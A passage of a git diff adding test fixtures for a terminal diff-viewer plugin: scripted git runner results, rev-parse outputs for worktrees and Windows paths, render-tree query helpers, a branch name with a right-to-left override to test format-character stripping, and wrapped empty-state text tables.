+ * to draw the word highlight.
+ */
+export const SMALL_BODY: Git.FileHunks = {
+ hunks: [{ oldStart: 1, newStart: 1, lines: [' ctx', '-old', '+new'] }],
+ isTruncated: false,
+ isLarge: false,
+}
diff --git a/mods/diff/tests/fixtures/pane-view/totals.ts b/mods/diff/tests/fixtures/pane-view/totals.ts
new file mode 100644
index 00000000..0710d107
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/totals.ts
@@ -0,0 +1,11 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * What every pane-view diff sums to; the file count is replaced by the
+ * number of rows a case gives.
+ */
+export const TOTALS: Git.DiffStats = {
+ filesCount: 1,
+ linesAdded: 9,
+ linesRemoved: 3,
+}
diff --git a/mods/diff/tests/fixtures/pane-view/tracked.ts b/mods/diff/tests/fixtures/pane-view/tracked.ts
new file mode 100644
index 00000000..0cc21066
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/tracked.ts
@@ -0,0 +1,8 @@
+/**
+ * The flags of an ordinary row: text, tracked, changed this session.
+ */
+export const TRACKED = {
+ isBinary: false,
+ isUntracked: false,
+ isPreSession: false,
+} as const
diff --git a/mods/diff/tests/fixtures/pane-view/turn-two.ts b/mods/diff/tests/fixtures/pane-view/turn-two.ts
new file mode 100644
index 00000000..236b9733
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/turn-two.ts
@@ -0,0 +1,20 @@
+import type Turns from '../../../hooks/turns'
+
+/**
+ * The second turn of a session as the turns model keeps it: one created
+ * file, its hunk cut at the line cap.
+ */
+export const TURN_TWO: Turns.TurnDiff = {
+ index: 2,
+ preview: 'fix it',
+ files: [
+ {
+ path: '/r/a.ts',
+ hunks: [{ oldStart: 1, newStart: 1, lines: ['+x'] }],
+ added: 1,
+ removed: 0,
+ isNewFile: true,
+ isTruncated: true,
+ },
+ ],
+}
diff --git a/mods/diff/tests/fixtures/pane-view/view-pane.ts b/mods/diff/tests/fixtures/pane-view/view-pane.ts
new file mode 100644
index 00000000..ba29ece2
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/view-pane.ts
@@ -0,0 +1,25 @@
+import type { RenderInput } from 'claude-code'
+
+import { BODY_ROWS } from './body-rows.js'
+import { COLUMNS } from './columns.js'
+
+/**
+ * A pane the plugin does not own, docked on a 160-column terminal at the
+ * view fixtures' body size.
+ *
+ * Its render passes beneath the plugin to the hook a test draws a view in.
+ */
+export const VIEW_PANE: RenderInput<'Pane'> = {
+ component: 'Pane',
+ surface: 'terminal',
+ requestId: 'view',
+ viewport: { columns: 160, rows: 40 },
+ props: {
+ title: 'View',
+ isFocused: false,
+ bodyColumns: COLUMNS,
+ placement: 'dock',
+ scroll: { offset: 0, bodyRows: BODY_ROWS },
+ view: {},
+ },
+}
diff --git a/mods/diff/tests/fixtures/pane-view/vs-spoofed.ts b/mods/diff/tests/fixtures/pane-view/vs-spoofed.ts
new file mode 100644
index 00000000..5c545399
--- /dev/null
+++ b/mods/diff/tests/fixtures/pane-view/vs-spoofed.ts
@@ -0,0 +1,10 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * A branch comparison whose base branch name hides a right-to-left
+ * override, to prove the view strips format characters.
+ */
+export const VS_SPOOFED: Pick<Git.DiffData, 'mode' | 'source'> = {
+ mode: 'branch',
+ source: { kind: 'branch', baseBranch: 'ma\u202Eniam', baseRef: 'abc' },
+}
diff --git a/mods/diff/tests/fixtures/parse-file-diff/file-diff-header.ts b/mods/diff/tests/fixtures/parse-file-diff/file-diff-header.ts
new file mode 100644
index 00000000..afe63c8e
--- /dev/null
+++ b/mods/diff/tests/fixtures/parse-file-diff/file-diff-header.ts
@@ -0,0 +1,5 @@
+/**
+ * The four header lines git prints before a file's first hunk.
+ */
+export const FILE_DIFF_HEADER =
+ 'diff --git a/a.txt b/a.txt\nindex 1..2 100644\n--- a/a.txt\n+++ b/a.txt\n'
diff --git a/mods/diff/tests/fixtures/parse-file-diff/index.ts b/mods/diff/tests/fixtures/parse-file-diff/index.ts
new file mode 100644
index 00000000..8202ae0c
--- /dev/null
+++ b/mods/diff/tests/fixtures/parse-file-diff/index.ts
@@ -0,0 +1,4 @@
+export * from './file-diff-header.js'
+export * from './past-the-cap.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/parse-file-diff/past-the-cap.ts b/mods/diff/tests/fixtures/parse-file-diff/past-the-cap.ts
new file mode 100644
index 00000000..34d9ee70
--- /dev/null
+++ b/mods/diff/tests/fixtures/parse-file-diff/past-the-cap.ts
@@ -0,0 +1,4 @@
+/**
+ * How many lines past the per-file cap the truncation case feeds.
+ */
+export const PAST_THE_CAP = 5
diff --git a/mods/diff/tests/fixtures/repository-of/echoed-flag.ts b/mods/diff/tests/fixtures/repository-of/echoed-flag.ts
new file mode 100644
index 00000000..ef03423d
--- /dev/null
+++ b/mods/diff/tests/fixtures/repository-of/echoed-flag.ts
@@ -0,0 +1,5 @@
+/**
+ * What a git too old for `--path-format` prints: the flag echoed back, then
+ * relative paths.
+ */
+export const ECHOED_FLAG = '--path-format=absolute\n/r\n.git\n.git\n'
diff --git a/mods/diff/tests/fixtures/repository-of/index.ts b/mods/diff/tests/fixtures/repository-of/index.ts
new file mode 100644
index 00000000..c3aaf3f8
--- /dev/null
+++ b/mods/diff/tests/fixtures/repository-of/index.ts
@@ -0,0 +1,6 @@
+export * from './echoed-flag.js'
+export * from './relative.js'
+export * from './resolved.js'
+export * from './windows.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/repository-of/relative.ts b/mods/diff/tests/fixtures/repository-of/relative.ts
new file mode 100644
index 00000000..203ac2f2
--- /dev/null
+++ b/mods/diff/tests/fixtures/repository-of/relative.ts
@@ -0,0 +1,4 @@
+/**
+ * A `rev-parse` answer whose git dir is relative: not a pin.
+ */
+export const RELATIVE = '/r\n.git\n/r/.git\n'
diff --git a/mods/diff/tests/fixtures/repository-of/resolved.ts b/mods/diff/tests/fixtures/repository-of/resolved.ts
new file mode 100644
index 00000000..5180a0ab
--- /dev/null
+++ b/mods/diff/tests/fixtures/repository-of/resolved.ts
@@ -0,0 +1,5 @@
+/**
+ * A `rev-parse` answer of three absolute lines for a linked worktree of
+ * `/r`.
+ */
+export const RESOLVED = '/r\n/r/.git/worktrees/w\n/r/.git\n'
diff --git a/mods/diff/tests/fixtures/repository-of/windows.ts b/mods/diff/tests/fixtures/repository-of/windows.ts
new file mode 100644
index 00000000..0fa751e4
--- /dev/null
+++ b/mods/diff/tests/fixtures/repository-of/windows.ts
@@ -0,0 +1,5 @@
+/**
+ * A `rev-parse` answer with drive-letter paths, absolute as git prints them
+ * on Windows.
+ */
+export const WINDOWS = 'C:/r\nC:/r/.git\nC:/r/.git\n'
diff --git a/mods/diff/tests/fixtures/scripted/git-timed-out.ts b/mods/diff/tests/fixtures/scripted/git-timed-out.ts
new file mode 100644
index 00000000..2791a7f0
--- /dev/null
+++ b/mods/diff/tests/fixtures/scripted/git-timed-out.ts
@@ -0,0 +1,11 @@
+import type { ProcessRunResult } from 'claude-code'
+
+/**
+ * What the plugin's git runner answers when the host rejected the spawn:
+ * the timeout, a cancelled dispatch. No exit code git itself uses.
+ */
+export const GIT_TIMED_OUT: ProcessRunResult = {
+ exitCode: -1,
+ stdout: '',
+ stderr: '',
+}
diff --git a/mods/diff/tests/fixtures/scripted/index.ts b/mods/diff/tests/fixtures/scripted/index.ts
new file mode 100644
index 00000000..e9caeaf9
--- /dev/null
+++ b/mods/diff/tests/fixtures/scripted/index.ts
@@ -0,0 +1,9 @@
+export * from './git-timed-out.js'
+export * from './ok.js'
+export * from './probe-missed.js'
+export * from './probed-repository-of.js'
+export type * from './scripted-git.js'
+export * from './scripted-git-of.js'
+export * from './unscripted.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/scripted/ok.ts b/mods/diff/tests/fixtures/scripted/ok.ts
new file mode 100644
index 00000000..ebf101e6
--- /dev/null
+++ b/mods/diff/tests/fixtures/scripted/ok.ts
@@ -0,0 +1,14 @@
+import type { ProcessRunResult } from 'claude-code'
+
+/**
+ * A scripted git answer that exited 0 with the given output, nothing on
+ * stderr.
+ *
+ * @param stdout what the command printed; nothing by default
+ * @returns the run result
+ */
+export const ok = (stdout = ''): ProcessRunResult => ({
+ exitCode: 0,
+ stdout,
+ stderr: '',
+})
diff --git a/mods/diff/tests/fixtures/scripted/probe-missed.ts b/mods/diff/tests/fixtures/scripted/probe-missed.ts
new file mode 100644
index 00000000..ae79b08d
--- /dev/null
+++ b/mods/diff/tests/fixtures/scripted/probe-missed.ts
@@ -0,0 +1,11 @@
+import type { ProcessRunResult } from 'claude-code'
+
+/**
+ * A probe that ran and found nothing: `rev-parse --verify` on an unborn
+ * HEAD, `merge-base` with no common ancestor, `--is-ancestor` when not.
+ */
+export const PROBE_MISSED: ProcessRunResult = {
+ exitCode: 1,
+ stdout: '',
+ stderr: '',
+}
diff --git a/mods/diff/tests/fixtures/scripted/probed-repository-of.ts b/mods/diff/tests/fixtures/scripted/probed-repository-of.ts
new file mode 100644
index 00000000..561856de
--- /dev/null
+++ b/mods/diff/tests/fixtures/scripted/probed-repository-of.ts
@@ -0,0 +1,12 @@
+import Git from '../../../hooks/git'
+import { ok } from './ok.js'
+import { scriptedGitOf } from './scripted-git-of.js'
+
+/**
+ * What the repository probe makes of a scripted `rev-parse` answer.
+ *
+ * @param stdout the scripted rev-parse output
+ * @returns the probed repository, or null
+ */
+export const probedRepositoryOf = (stdout: string) =>
+ Git.repositoryOf(scriptedGitOf({ 'rev-parse': ok(stdout) }).run)
diff --git a/mods/diff/tests/fixtures/scripted/scripted-git-of.ts b/mods/diff/tests/fixtures/scripted/scripted-git-of.ts
new file mode 100644
index 00000000..6b61d083
--- /dev/null
+++ b/mods/diff/tests/fixtures/scripted/scripted-git-of.ts
@@ -0,0 +1,32 @@
+import type { ProcessRunResult } from 'claude-code'
+
+import type Git from '../../../hooks/git'
+import type { ScriptedGit } from './scripted-git.js'
+import { UNSCRIPTED } from './unscripted.js'
+
+/**
+ * A git answering from a script: the first entry whose pattern the joined
+ * argv contains, UNSCRIPTED otherwise; every argv is kept in order.
+ *
+ * @param script pattern to result
+ * @returns the runner and the argvs it saw
+ */
+export function scriptedGitOf(
+ script: Readonly<Record<string, ProcessRunResult>>,
+): ScriptedGit {
+ const argvs: (readonly string[])[] = []
+
+ const run: Git.GitRun = argv => {
+ argvs.push(argv)
+
+ const line = argv.join(' ')
+
+ const scripted = Object.entries(script).find(([pattern]) =>
+ line.includes(pattern),
+ )
+
+ return Promise.resolve(scripted?.[1] ?? UNSCRIPTED)
+ }
+
+ return { run, argvs }
+}
diff --git a/mods/diff/tests/fixtures/scripted/scripted-git.ts b/mods/diff/tests/fixtures/scripted/scripted-git.ts
new file mode 100644
index 00000000..0eb7904b
--- /dev/null
+++ b/mods/diff/tests/fixtures/scripted/scripted-git.ts
@@ -0,0 +1,10 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * A git answering from a script: the runner, and every argv it has been
+ * handed so far.
+ */
+export type ScriptedGit = {
+ run: Git.GitRun
+ argvs: readonly (readonly string[])[]
+}
diff --git a/mods/diff/tests/fixtures/scripted/unscripted.ts b/mods/diff/tests/fixtures/scripted/unscripted.ts
new file mode 100644
index 00000000..ec6ace87
--- /dev/null
+++ b/mods/diff/tests/fixtures/scripted/unscripted.ts
@@ -0,0 +1,11 @@
+import type { ProcessRunResult } from 'claude-code'
+
+/**
+ * What a scripted git answers for a command the script does not name: the
+ * exit code git uses for a fatal error, and no output.
+ */
+export const UNSCRIPTED: ProcessRunResult = {
+ exitCode: 128,
+ stdout: '',
+ stderr: '',
+}
diff --git a/mods/diff/tests/fixtures/todo-write-of.ts b/mods/diff/tests/fixtures/todo-write-of.ts
new file mode 100644
index 00000000..e2918035
--- /dev/null
+++ b/mods/diff/tests/fixtures/todo-write-of.ts
@@ -0,0 +1,20 @@
+import type { SessionMessage } from 'claude-code'
+
+/**
+ * An assistant message holding one TodoWrite whose items have the given
+ * statuses.
+ *
+ * @param statuses each item's status
+ * @returns the message
+ */
+export const todoWriteOf = (statuses: readonly string[]): SessionMessage => ({
+ role: 'assistant',
+ text: '',
+ toolUses: [
+ {
+ tool_use_id: 'w',
+ tool: 'TodoWrite',
+ input: { todos: statuses.map(status => ({ content: 'x', status })) },
+ },
+ ],
+})
diff --git a/mods/diff/tests/fixtures/tree/children-of.ts b/mods/diff/tests/fixtures/tree/children-of.ts
new file mode 100644
index 00000000..67ba6845
--- /dev/null
+++ b/mods/diff/tests/fixtures/tree/children-of.ts
@@ -0,0 +1,13 @@
+/**
+ * A rendered tree node's children as the element table built them, or
+ * none for a string, a null, or a childless element.
+ *
+ * @param node an element, a string child, or anything else
+ * @returns the children array, possibly empty
+ */
+export function childrenOf(node: unknown): readonly unknown[] {
+ const isElement = typeof node === 'object' && node !== null
+ const held: unknown = isElement ? Reflect.get(node, 'children') : null
+
+ return Array.isArray(held) ? held : []
+}
diff --git a/mods/diff/tests/fixtures/tree/codes-in.ts b/mods/diff/tests/fixtures/tree/codes-in.ts
new file mode 100644
index 00000000..18b81be3
--- /dev/null
+++ b/mods/diff/tests/fixtures/tree/codes-in.ts
@@ -0,0 +1,20 @@
+import type { CodeProps, RenderNode } from 'claude-code'
+
+/**
+ * The props of every `Code` under a rendered tree node, depth-first in
+ * drawing order.
+ *
+ * @param node an element or a string
+ * @returns the Code props
+ */
+export function codesIn(node: RenderNode): CodeProps[] {
+ const isText = typeof node === 'string'
+ const isCode = !isText && node.type === 'Code'
+ const hasChildren = !isText && 'children' in node
+
+ return isCode
+ ? [node.props]
+ : hasChildren
+ ? (node.children ?? []).flatMap(codesIn)
+ : []
+}
diff --git a/mods/diff/tests/fixtures/tree/element-in.ts b/mods/diff/tests/fixtures/tree/element-in.ts
new file mode 100644
index 00000000..6706195d
--- /dev/null
+++ b/mods/diff/tests/fixtures/tree/element-in.ts
@@ -0,0 +1,39 @@
+import type { ElementQuery } from './element-query.js'
+
+/**
+ * The first element in a rendered tree of that type whose `props.key` or
+ * `props.label` is the name, depth-first.
+ *
+ * @param tree what `$.ui.render` resolved to
+ * @param wanted the element's type and its key or label
+ * @returns the element as a plain record, or undefined
+ */
+export function elementIn(
+ tree: unknown,
+ wanted: ElementQuery,
+): Record<string, unknown> | undefined {
+ if (typeof tree !== 'object' || !tree) {
+ return undefined
+ }
+
+ const node: Record<string, unknown> = Object.fromEntries(Object.entries(tree))
+ const isPropped = typeof node.props === 'object' && node.props !== null
+
+ const named: Record<string, unknown> = isPropped
+ ? Object.fromEntries(Object.entries(node.props ?? {}))
+ : {}
+
+ const isMatch =
+ node.type === wanted.type &&
+ (named.key === wanted.name || named.label === wanted.name)
+
+ const children: readonly unknown[] = Array.isArray(node.children)
+ ? node.children
+ : []
+
+ return isMatch
+ ? node
+ : children
+ .map(child => elementIn(child, wanted))
+ .find(found => found !== undefined)
+}
diff --git a/mods/diff/tests/fixtures/tree/element-query.ts b/mods/diff/tests/fixtures/tree/element-query.ts
new file mode 100644
index 00000000..e7b86f25
--- /dev/null
+++ b/mods/diff/tests/fixtures/tree/element-query.ts
@@ -0,0 +1,7 @@
+/**
+ * Which element elementIn looks for: its type, and its key or label.
+ */
+export type ElementQuery = {
+ type: string
+ name: string
+}
diff --git a/mods/diff/tests/fixtures/tree/index.ts b/mods/diff/tests/fixtures/tree/index.ts
new file mode 100644
index 00000000..3dafbc99
--- /dev/null
+++ b/mods/diff/tests/fixtures/tree/index.ts
@@ -0,0 +1,10 @@
+export * from './children-of.js'
+export * from './codes-in.js'
+export * from './element-in.js'
+export type * from './element-query.js'
+export * from './is-drawn.js'
+export * from './json-of.js'
+export * from './strings-of.js'
+export * from './text-of.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/tree/is-drawn.ts b/mods/diff/tests/fixtures/tree/is-drawn.ts
new file mode 100644
index 00000000..7c93f76b
--- /dev/null
+++ b/mods/diff/tests/fixtures/tree/is-drawn.ts
@@ -0,0 +1,13 @@
+/**
+ * Whether `$.ui.render` answered the tree a hook drew, not the engine's own.
+ *
+ * A tree the engine refused (an element it lacks, a text or node budget
+ * outrun) comes back as the engine's own drawing instead, an `engine` node.
+ *
+ * @param tree what `$.ui.render` resolved to
+ * @returns true for a hook's tree, false for the engine's own
+ */
+export const isDrawn = (tree: unknown): boolean =>
+ typeof tree === 'object' &&
+ tree !== null &&
+ Reflect.get(tree, 'type') !== 'engine'
diff --git a/mods/diff/tests/fixtures/tree/json-of.ts b/mods/diff/tests/fixtures/tree/json-of.ts
new file mode 100644
index 00000000..78c725c7
--- /dev/null
+++ b/mods/diff/tests/fixtures/tree/json-of.ts
@@ -0,0 +1,8 @@
+/**
+ * A render tree flattened to one searchable string: its JSON, so a test
+ * finds words, theme keys and element names alike.
+ *
+ * @param tree what `$.ui.render` resolved to
+ * @returns the JSON text
+ */
+export const jsonOf = (tree: unknown) => JSON.stringify(tree)
diff --git a/mods/diff/tests/fixtures/tree/strings-of.ts b/mods/diff/tests/fixtures/tree/strings-of.ts
new file mode 100644
index 00000000..c48d452f
--- /dev/null
+++ b/mods/diff/tests/fixtures/tree/strings-of.ts
@@ -0,0 +1,11 @@
+import { childrenOf } from './children-of.js'
+
+/**
+ * Every string child under a rendered tree node, depth-first in drawing
+ * order: what the engine counts against its text caps.
+ *
+ * @param node an element or a string
+ * @returns the strings
+ */
+export const stringsOf = (node: unknown): string[] =>
+ typeof node === 'string' ? [node] : childrenOf(node).flatMap(stringsOf)
diff --git a/mods/diff/tests/fixtures/text-of.ts b/mods/diff/tests/fixtures/tree/text-of.ts
similarity index 100%
rename from mods/diff/tests/fixtures/text-of.ts
rename to mods/diff/tests/fixtures/tree/text-of.ts
diff --git a/mods/diff/tests/fixtures/truncate-start/combining-acute.ts b/mods/diff/tests/fixtures/truncate-start/combining-acute.ts
new file mode 100644
index 00000000..9097366c
--- /dev/null
+++ b/mods/diff/tests/fixtures/truncate-start/combining-acute.ts
@@ -0,0 +1,5 @@
+/**
+ * U+0301, a combining mark: zero cells wide on screen, one code point in a
+ * string, so the layout charges it a cell.
+ */
+export const COMBINING_ACUTE = '\u0301'
diff --git a/mods/diff/tests/fixtures/truncate-start/index.ts b/mods/diff/tests/fixtures/truncate-start/index.ts
new file mode 100644
index 00000000..a8860e12
--- /dev/null
+++ b/mods/diff/tests/fixtures/truncate-start/index.ts
@@ -0,0 +1,6 @@
+export * from './combining-acute.js'
+export * from './marks.js'
+export * from './narrow-room.js'
+export * from './room.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/truncate-start/marks.ts b/mods/diff/tests/fixtures/truncate-start/marks.ts
new file mode 100644
index 00000000..fa711b46
--- /dev/null
+++ b/mods/diff/tests/fixtures/truncate-start/marks.ts
@@ -0,0 +1,5 @@
+/**
+ * How many combining marks pad the path: far more than the room if each
+ * is charged a cell.
+ */
+export const MARKS = 2_000
diff --git a/mods/diff/tests/fixtures/truncate-start/narrow-room.ts b/mods/diff/tests/fixtures/truncate-start/narrow-room.ts
new file mode 100644
index 00000000..672fe020
--- /dev/null
+++ b/mods/diff/tests/fixtures/truncate-start/narrow-room.ts
@@ -0,0 +1,4 @@
+/**
+ * A room too narrow for the leading directories, so only the tail is kept.
+ */
+export const NARROW_ROOM = 12
diff --git a/mods/diff/tests/fixtures/truncate-start/room.ts b/mods/diff/tests/fixtures/truncate-start/room.ts
new file mode 100644
index 00000000..d199c3ac
--- /dev/null
+++ b/mods/diff/tests/fixtures/truncate-start/room.ts
@@ -0,0 +1,4 @@
+/**
+ * The cells a cut path may fill in the ordinary case.
+ */
+export const ROOM = 20
diff --git a/mods/diff/tests/fixtures/turn-diffs-of/edits-of.ts b/mods/diff/tests/fixtures/turn-diffs-of/edits-of.ts
new file mode 100644
index 00000000..88816a5b
--- /dev/null
+++ b/mods/diff/tests/fixtures/turn-diffs-of/edits-of.ts
@@ -0,0 +1,19 @@
+import type { SessionMessage } from 'claude-code'
+
+/**
+ * An assistant message whose Edit calls came back with the given results,
+ * in order.
+ *
+ * @param results each call's structured result
+ * @returns the message
+ */
+export const editsOf = (...results: unknown[]): SessionMessage => ({
+ role: 'assistant',
+ text: '',
+ toolUses: results.map((result, at) => ({
+ tool_use_id: `t${at}`,
+ tool: 'Edit',
+ input: {},
+ result,
+ })),
+})
diff --git a/mods/diff/tests/fixtures/turn-diffs-of/index.ts b/mods/diff/tests/fixtures/turn-diffs-of/index.ts
new file mode 100644
index 00000000..79a29838
--- /dev/null
+++ b/mods/diff/tests/fixtures/turn-diffs-of/index.ts
@@ -0,0 +1,5 @@
+export * from './edits-of.js'
+export * from './prompt-of.js'
+export * from './tool-results.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/turn-diffs-of/prompt-of.ts b/mods/diff/tests/fixtures/turn-diffs-of/prompt-of.ts
new file mode 100644
index 00000000..b76ceb59
--- /dev/null
+++ b/mods/diff/tests/fixtures/turn-diffs-of/prompt-of.ts
@@ -0,0 +1,13 @@
+import type { SessionMessage } from 'claude-code'
+
+/**
+ * A prompt the person typed, as the transcript holds it.
+ *
+ * @param text the prompt
+ * @returns the message
+ */
+export const promptOf = (text: string): SessionMessage => ({
+ role: 'user',
+ text,
+ toolUses: [],
+})
diff --git a/mods/diff/tests/fixtures/turn-diffs-of/tool-results.ts b/mods/diff/tests/fixtures/turn-diffs-of/tool-results.ts
new file mode 100644
index 00000000..ae78987a
--- /dev/null
+++ b/mods/diff/tests/fixtures/turn-diffs-of/tool-results.ts
@@ -0,0 +1,13 @@
+import type { SessionMessage } from 'claude-code'
+
+/**
+ * The message that carries a turn's tool results back, no text of its own.
+ *
+ * @returns the message
+ */
+export const toolResults = (): SessionMessage => ({
+ role: 'user',
+ text: '',
+ toolUses: [],
+ toolResults: [{ tool_use_id: 't', text: 'ok', isError: false }],
+})
diff --git a/mods/diff/tests/fixtures/typed-prompt-of.ts b/mods/diff/tests/fixtures/typed-prompt-of.ts
new file mode 100644
index 00000000..f7523ff7
--- /dev/null
+++ b/mods/diff/tests/fixtures/typed-prompt-of.ts
@@ -0,0 +1,19 @@
+import type { PromptSubmitInput } from 'claude-code'
+
+/**
+ * A prompt as the person submits it from the composer with a plain Enter,
+ * carrying the context given, if any.
+ *
+ * @param text what the person typed
+ * @param context what already rides beside the prompt
+ * @returns the `prompt.submit` input
+ */
+export const typedPromptOf = (
+ text: string,
+ context?: readonly string[],
+): PromptSubmitInput => ({
+ text,
+ ...(context && { context }),
+ wait: false,
+ origin: { kind: 'composer' },
+})
diff --git a/mods/diff/tests/fixtures/vs-main.ts b/mods/diff/tests/fixtures/vs-main.ts
new file mode 100644
index 00000000..fccb7c1f
--- /dev/null
+++ b/mods/diff/tests/fixtures/vs-main.ts
@@ -0,0 +1,11 @@
+import type Git from '../../hooks/git'
+
+/**
+ * A branch comparison that resolved: main as the base, at a placeholder
+ * merge-base ref.
+ */
+export const VS_MAIN: Git.DiffSource = {
+ kind: 'branch',
+ baseBranch: 'main',
+ baseRef: 'x',
+}
diff --git a/mods/diff/tests/fixtures/worktree/elsewhere-lines.ts b/mods/diff/tests/fixtures/worktree/elsewhere-lines.ts
new file mode 100644
index 00000000..6e157bd0
--- /dev/null
+++ b/mods/diff/tests/fixtures/worktree/elsewhere-lines.ts
@@ -0,0 +1,4 @@
+/**
+ * `git rev-parse` for a repository other than the pinned one.
+ */
+export const ELSEWHERE_LINES = '/else\n/else/.git\n/else/.git\n'
diff --git a/mods/diff/tests/fixtures/worktree/failed-start.ts b/mods/diff/tests/fixtures/worktree/failed-start.ts
new file mode 100644
index 00000000..3193c83e
--- /dev/null
+++ b/mods/diff/tests/fixtures/worktree/failed-start.ts
@@ -0,0 +1,5 @@
+/**
+ * How `$.process.run` refuses a git child that could not start.
+ */
+export const FAILED_START =
+ 'process.run(git) failed to start: ENOENT: no such file or directory'
diff --git a/mods/diff/tests/fixtures/worktree/index.ts b/mods/diff/tests/fixtures/worktree/index.ts
new file mode 100644
index 00000000..b11ee8c0
--- /dev/null
+++ b/mods/diff/tests/fixtures/worktree/index.ts
@@ -0,0 +1,9 @@
+export * from './elsewhere-lines.js'
+export * from './failed-start.js'
+export * from './one-secret.js'
+export * from './pinned-lead.js'
+export * from './secret-diff.js'
+export * from './worktree-lines.js'
+export * from './worktree-session.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/worktree/one-secret.ts b/mods/diff/tests/fixtures/worktree/one-secret.ts
new file mode 100644
index 00000000..94b57a3b
--- /dev/null
+++ b/mods/diff/tests/fixtures/worktree/one-secret.ts
@@ -0,0 +1,16 @@
+import { SECRET_DIFF } from './secret-diff.js'
+import { WORKTREE_LINES } from './worktree-lines.js'
+
+/**
+ * Git's output in the linked worktree /main/wt, whose one change is a
+ * secrets file, for each invocation whose command line holds the key.
+ *
+ * @returns the answers, fresh each call so a test may rewrite them
+ */
+export const oneSecret = (): Record<string, string> => ({
+ 'rev-parse --path-format=absolute': WORKTREE_LINES,
+ 'HEAD --shortstat': ' 1 file changed, 1 insertion(+)',
+ 'HEAD --numstat': '1\t0\t.env\0',
+ 'ls-files': '',
+ '-- .env': SECRET_DIFF,
+})
diff --git a/mods/diff/tests/fixtures/worktree/pinned-lead.ts b/mods/diff/tests/fixtures/worktree/pinned-lead.ts
new file mode 100644
index 00000000..0633bc70
--- /dev/null
+++ b/mods/diff/tests/fixtures/worktree/pinned-lead.ts
@@ -0,0 +1,9 @@
+/**
+ * What leads every git child's argv once the linked worktree is pinned:
+ * its own git dir and its working tree.
+ */
+export const PINNED_LEAD: readonly string[] = [
+ 'git',
+ '--git-dir=/main/.git/worktrees/wt',
+ '--work-tree=/main/wt',
+]
diff --git a/mods/diff/tests/fixtures/worktree/secret-diff.ts b/mods/diff/tests/fixtures/worktree/secret-diff.ts
new file mode 100644
index 00000000..6366500d
--- /dev/null
+++ b/mods/diff/tests/fixtures/worktree/secret-diff.ts
@@ -0,0 +1,4 @@
+/**
+ * A one-line diff of a secrets file.
+ */
+export const SECRET_DIFF = '@@ -1 +1 @@\n-KEY=old\n+KEY=new\n'
diff --git a/mods/diff/tests/fixtures/worktree/worktree-lines.ts b/mods/diff/tests/fixtures/worktree/worktree-lines.ts
new file mode 100644
index 00000000..d4863fb9
--- /dev/null
+++ b/mods/diff/tests/fixtures/worktree/worktree-lines.ts
@@ -0,0 +1,4 @@
+/**
+ * `git rev-parse` for a linked worktree: toplevel, git dir, common dir.
+ */
+export const WORKTREE_LINES = '/main/wt\n/main/.git/worktrees/wt\n/main/.git\n'
diff --git a/mods/diff/tests/fixtures/worktree/worktree-session.ts b/mods/diff/tests/fixtures/worktree/worktree-session.ts
new file mode 100644
index 00000000..a1ce6e93
--- /dev/null
+++ b/mods/diff/tests/fixtures/worktree/worktree-session.ts
@@ -0,0 +1,10 @@
+import type { SessionStartInput } from 'claude-code'
+
+/**
+ * An interactive terminal session in the linked worktree /main/wt.
+ */
+export const WORKTREE_SESSION: SessionStartInput = {
+ surface: 'terminal',
+ isInteractive: true,
+ cwd: '/main/wt',
+}
diff --git a/mods/diff/tests/fixtures/wrapped-lines/builtin-wraps.ts b/mods/diff/tests/fixtures/wrapped-lines/builtin-wraps.ts
new file mode 100644
index 00000000..452ff672
--- /dev/null
+++ b/mods/diff/tests/fixtures/wrapped-lines/builtin-wraps.ts
@@ -0,0 +1,124 @@
+/**
+ * The built-in panel's empty-state lines as Ink wraps them (trim off,
+ * hard) at each width the layout case tries, keyed by line then width.
+ */
+export const BUILTIN_WRAPS: Readonly<
+ Record<string, Readonly<Record<number, readonly string[]>>>
+> = {
+ 'No changes this session': {
+ 8: ['No ', 'changes ', 'this ', 'session'],
+ 23: ['No changes this session'],
+ 24: ['No changes this session'],
+ 48: ['No changes this session'],
+ 70: ['No changes this session'],
+ },
+ "Couldn't read the git diff — it will retry on the next change": {
+ 8: [
+ "Couldn't",
+ ' read ',
+ 'the git ',
+ 'diff — ',
+ 'it will ',
+ 'retry on',
+ ' the ',
+ 'next ',
+ 'change',
+ ],
+ 23: [
+ "Couldn't read the git ",
+ 'diff — it will retry on',
+ ' the next change',
+ ],
+ 24: [
+ "Couldn't read the git ",
+ 'diff — it will retry on ',
+ 'the next change',
+ ],
+ 48: ["Couldn't read the git diff — it will retry on ", 'the next change'],
+ 70: ["Couldn't read the git diff — it will retry on the next change"],
+ },
+ 'No base branch to compare against — showing changes vs HEAD': {
+ 8: [
+ 'No base ',
+ 'branch ',
+ 'to ',
+ 'compare ',
+ 'against ',
+ '— ',
+ 'showing ',
+ 'changes ',
+ 'vs HEAD',
+ ],
+ 23: ['No base branch to ', 'compare against — ', 'showing changes vs HEAD'],
+ 24: ['No base branch to ', 'compare against — ', 'showing changes vs HEAD'],
+ 48: ['No base branch to compare against — showing ', 'changes vs HEAD'],
+ 70: ['No base branch to compare against — showing changes vs HEAD'],
+ },
+ 'Tests and generated files are hidden · click "show" above to view them': {
+ 8: [
+ 'Tests ',
+ 'and gene',
+ 'rated ',
+ 'files ',
+ 'are ',
+ 'hidden ·',
+ ' click ',
+ '"show" ',
+ 'above to',
+ ' view ',
+ 'them',
+ ],
+ 23: [
+ 'Tests and generated ',
+ 'files are hidden · ',
+ 'click "show" above to ',
+ 'view them',
+ ],
+ 24: [
+ 'Tests and generated ',
+ 'files are hidden · click',
+ ' "show" above to view ',
+ 'them',
+ ],
+ 48: [
+ 'Tests and generated files are hidden · click ',
+ '"show" above to view them',
+ ],
+ 70: [
+ 'Tests and generated files are hidden · click "show" above to view them',
+ ],
+ },
+ 'No changes vs a-release-branch-with-a-name-longer-than-a-row-of-the-pane': {
+ 8: [
+ 'No ',
+ 'changes ',
